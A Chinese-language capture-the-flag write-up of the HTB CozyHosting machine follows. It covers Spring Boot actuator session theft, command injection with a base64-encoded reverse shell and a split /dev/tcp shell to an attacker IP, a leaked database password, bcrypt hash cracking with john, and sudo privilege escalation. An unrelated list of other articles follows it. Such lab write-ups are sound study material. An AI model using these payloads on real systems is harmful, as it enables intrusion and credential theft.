CozyHosting

前言:抓紧赛季末上一波分,错过开vip才能练了

信息收集

扫描看看端口的开放情况,开了22,80,5555。这里fscan显示会跳转到cozyhosting.htb

那就需要修改hosts文件,将cozyhoting.htb解析到ip即可访问到80端口的站点:

目录探测

用dirsearch发现泄露了/actuator目录,那应该就是使用的springboot框架。

敏感信息泄露

首先去访问/actuator/env。如下很多信息都被*号脱敏,尝试通过/actuator/heapdump或者heapdump去下载JVM堆栈信息但都失败了。

但是在访问到/actuator/sessions的时候发现了cookie。

抓包改两次JSESSIONID也行,但用插件修改cookie登录上去更快一些。

进入后台的面板,里面有一个貌似可以执行ssh命令的地方,那就有大概率存在命令注入。

命令注入

base64绕过

抓包,尝试一下。出现错误会返回ssh的命令帮助。

经过几种尝试发现这样可以执行命令:

直接使用反弹shell的语句他提示不能包含空格,url编码也不行。

绕过空格就用${IFS}替换变量,再经过一次url编码,但还是不成。

尝试用base64编码之后再执行可以成功反弹shell。

;`echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjEvOTk5OSAwPiYx"|base64${IFS}-d|bash;`

分段反向shell

然后还学习到一个新姿势,查了一些资料。首先使用如下命令来创建一个与攻击者的tcp连接,并将标准输入(0)重定向到这个连接,sh是一个子shell的标记,用来在括号内执行命令。

;`(sh)0>/dev/tcp/10.10.14.21/9999`

之后执行如下将标准输出(1)和标准错误(2)都重定向到标准输入(0),exec会替代当前shell进程,不会创建一个新进程。

exec >&0

最后再使用下面的启动一个新的交互式bash,将输出记录到/dev/null中就会被抛弃。这样执行的命令不会在目标上留下任何痕迹了。

script /dev/null -c bash

最后成功反弹shell.

反编译jar包

基础的信息收集完之后没有发现有其他网段,当前目录下没有user flag但是有一个jar包,发现有python环境就直接下载下来。

将jar包放到一个目录下,创建一个用来存放反编译后的文件的目录。之后找到java-decompiler.jar的位置,使用高版本的jdk去执行如下:

 C:\Users\admin\.jdks\openjdk-20.0.2\bin\java.exe -cp "D:\software\jetbrains\apps\IDEA-U\ch-0\232.8660.185\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true .\cloudhosting-0.0.1.jar .\cloudhosting\

敏感信息泄露

在设置的目录里面解压那个jar包,在idea中打开搜索一些关键字,找找配置文件,就翻到了数据库的连接账号和密码。这里还可以看到他使用的是cozyhosting这个库。

连接postgres

可以看到postgres的服务是开着的。

连接上数据库,列出的有两个表格一个host和一个user,显然要关注user表,查询得到的加密字符串一眼bcrypt。

app@cozyhosting:/app$ psql -h localhost -p 5432 -U postgres -d cozyhosting
psql -h localhost -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxR psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help. cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows) (END)q
cozyhosting=#
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue name | password | role -----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows) (END)q
cozyhosting=#
cozyhosting=#

密码破解

想先爆破一下kanderson用户的但是出不来,想了想有可能是个测试用户,在idea中去搜索关键字找到了他的密码。

接着对admin进行破解,得到密文:manchesterunited

┌──(root㉿Lockly)-[/mnt/c/Users/admin]
└─# john -w=/usr/share/wordlists/rockyou.txt admin
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:19 DONE (2023-09-11 16:00) 0.05141g/s 144.3p/s 144.3c/s 144.3C/s onlyme..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

ssh连接

直接连ssh失败了,密码一个个敲了三遍都是错的。可能不是这个用户的。

回去看一下/etc/passwd,发现这台机器里面的用户有app, josh, postgres和root。

用josh连接成功,在当前目录下就有user flag。

提权

linpease探测

上传linpease搜集一些信息,发现sudo有suid滥用

suid滥用提权

直接去gtfobins上面找到命令提权。

root flag在/root目录下面,flag都到手了完结撒花。

HTB - CozyHosting - WriteUp的更多相关文章

  1. {黑掉这个盒子} \\ FluxCapacitor Write-Up

    源标题:{Hack the Box} \ FluxCapacitor Write-Up 标签(空格分隔): CTF   好孩子们.今天我们将学习耐心和情绪管理的优点.并且也许有一些关于绕过WEB应用防 ...

  2. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  3. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  4. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  5. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  6. 使用 IMQ+HTB+iptable 统一流量控制心得

    IMQ 是中介队列设备的简称,是一个虚拟的网卡设备,与物理网卡不同的是,通过它可以进行全局的流量整形,不需要一个网卡一个网卡地限速.这对有多个ISP接入的情况特别方便.配合 Iptables,可以非常 ...

  7. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  8. Optimizing shaper — hashing filters (HTB)

    I have a very nice shaper in my linux box :-) How the configurator works — it’s another question, he ...

  9. TC HTB r2q

    HTB: quantum of class 10001 is big. Consider r2q change. 根据HTB的官方文档显示,quantum是在可以“借”的情况下,一次可以“借”多少,并 ...

  10. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

随机推荐

  1. oracle:ORA-14765建索引阻塞创建分区及处理步骤

    在生产库建立一个索引,报ORA-14765创建索引时不能创建分区,也就是索引的创建阻塞分区的建立. 处理步骤: 1.与开发人员沟通昨天下午在Tbl_Waste表上建索引,一直未返回成功,定位问题SQL ...

  2. Flask框架——请求扩展、flask中间件、蓝图、分析线程和协程

    文章目录 01 请求扩展 01 before_first_request :项目启动后第一次请求的时候执行 02 before_request:每次请求之前执行 03 after_request:每次 ...

  3. 前端三件套系例之CSS——响应式布局

    文章目录 1.什么是响应式设计 1-1 定义 1-2 响应式设计的优势 2.屏幕的相关概念 3.viewport 视口 3-1 什么是viewport 3-2 设置viewport 4.媒体查询 @m ...

  4. Redis面试——Redis面试精华知识

    从:Redis 使用场景与介绍 -> 数据结构与简单使用 -> 小功能大用处 -> 持久化.主从同步与缓存设计 -> 知识拓展 ,并且分析典型场景下常见的问题,并结合实战演练, ...

  5. python第2~5章 学习笔记

    # 第2~5章 学习笔记 ## 什么是计算机语言 计算机就是一台用来计算机的机器,人让计算机干什么计算机就得干什么! 需要通过计算机的语言来控制计算机(编程语言)! 计算机语言其实和人类的语言没有本质 ...

  6. 什么是 CSS?

    1.什么是 CSS? CSS 指的是层叠样式表* (Cascading Style Sheets) CSS 描述了如何在屏幕.纸张或其他媒体上显示 HTML 元素 CSS 节省了大量工作.它可以同时控 ...

  7. go 流程控制之switch 语句介绍

    go 流程控制之switch 语句介绍 目录 go 流程控制之switch 语句介绍 一.switch语句介绍 1.1 认识 switch 语句 1.2 基本语法 二.Go语言switch语句中cas ...

  8. 你也许不再需要使用 CSS Media Queries(媒体查询)了

    你也许不再需要使用 CSS Media Queries(媒体查询)了 最近,CSS 引入了一项新功能:Container Queries.它可以替代 Media Queries 并实现 Media Q ...

  9. Python Lambda 用法大全

    一.Lambda表达式基础 Lambda 的组成分为三部分 lambda arguments: expression arguments为Lambda表达式的参数列表,多个参数使用逗号分隔:expre ...

  10. 使用 Docker Compose 部署 RabbitMQ 的一些经验与踩坑记录

    前言 RabbitMQ 是一个功能强大的开源消息队列系统,它实现了高效的消息通信和异步处理. 本文主要介绍其基于 Docker-Compose 的部署安装和一些使用的经验. 特点 成熟,稳定 消息持久 ...